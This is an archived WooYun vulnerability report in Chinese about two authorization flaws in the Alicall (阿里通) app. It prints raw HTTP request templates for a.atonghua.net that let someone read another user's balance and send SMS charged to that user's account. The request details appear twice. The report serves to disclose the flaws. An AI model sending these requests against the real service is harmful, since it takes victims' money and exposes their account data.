当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-093526

漏洞标题：阿里通两处处越权(用他人的钱做自己的事)

相关厂商：alicall.com

漏洞作者： kider脚本小子

提交时间：2015-01-30 10:01

修复时间：2015-02-04 10:02

公开时间：2015-02-04 10:02

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-30： 细节已通知厂商并且等待厂商处理中
2015-02-04： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

刷刷wooyun....

详细说明：

今天闲来无事..挖阿里巴巴..然后看到了阿里通...
然后遇到了阿里通...
然后注册账户...登陆...开始小测试一下..
使用burp抓包如下：

GET /mini/sys/getuserinfo.asp?username=手机号&ver=AndroidV4.1.3&platform=Android&linkid=XXXXX&pwd=XXXXX HTTP/1.1
Host: a.atonghua.net
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Android; OS/4.4.2; zh-cn;) Version/AndroidV4.1.3 MX4/1152x1920/10658085


还是比较惊讶..只有一个pwd...一个8K万使用的软件竟然如此的...颠覆...
越权1：
查他人余额.

话费.png


话费.png


随意收集的2个号码...
越权2：

POST /newinface/sendmsg.asp?username=发送人手机号&pwd=xxx&receive=到手机号&msg=短信内容 HTTP/1.1
User-Agent: Mozilla/5.0 (Android; OS/4.4.2; zh-cn;) Version/AndroidV4.1.3 MX4/1152x1920/10658085
X-Online-Host: a.atonghua.net:-1
Host: a.atonghua.net
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


利用他人号发信息（扣的他的钱）
发个短信试试:

短信.png


短信后余额:

短信后。。.png


收到:

S50123-140935.jpg

漏洞证明：

今天闲来无事..挖阿里巴巴..然后看到了阿里通...
然后遇到了阿里通...
然后注册账户...登陆...开始小测试一下..
使用burp抓包如下：

GET /mini/sys/getuserinfo.asp?username=手机号&ver=AndroidV4.1.3&platform=Android&linkid=XXXXX&pwd=XXXXX HTTP/1.1
Host: a.atonghua.net
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Android; OS/4.4.2; zh-cn;) Version/AndroidV4.1.3 MX4/1152x1920/10658085


还是比较惊讶..只有一个pwd...一个8K万使用的软件竟然如此的...颠覆...

POST /newinface/sendmsg.asp?username=发送人手机号&pwd=xxx&receive=到手机号&msg=短信内容 HTTP/1.1
User-Agent: Mozilla/5.0 (Android; OS/4.4.2; zh-cn;) Version/AndroidV4.1.3 MX4/1152x1920/10658085
X-Online-Host: a.atonghua.net:-1
Host: a.atonghua.net
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


越权1：
查他人余额.

话费.png


话费.png


随意收集的2个号码...
越权2：

POST /newinface/sendmsg.asp?username=发送人手机号&pwd=xxx&receive=到手机号&msg=短信内容 HTTP/1.1
User-Agent: Mozilla/5.0 (Android; OS/4.4.2; zh-cn;) Version/AndroidV4.1.3 MX4/1152x1920/10658085
X-Online-Host: a.atonghua.net:-1
Host: a.atonghua.net
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


利用他人号发信息（扣的他的钱）
发个短信试试:

短信.png


短信后余额:

短信后。。.png


收到:

S50123-140935.jpg

修复方案：

应该考虑加个验证...毕竟钱不好挣...如果用户知道他的钱偷偷的跑了...肯定容易出事...

版权声明：转载请注明来源 kider脚本小子@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-02-04 10:02

厂商回复：

最新状态：

暂无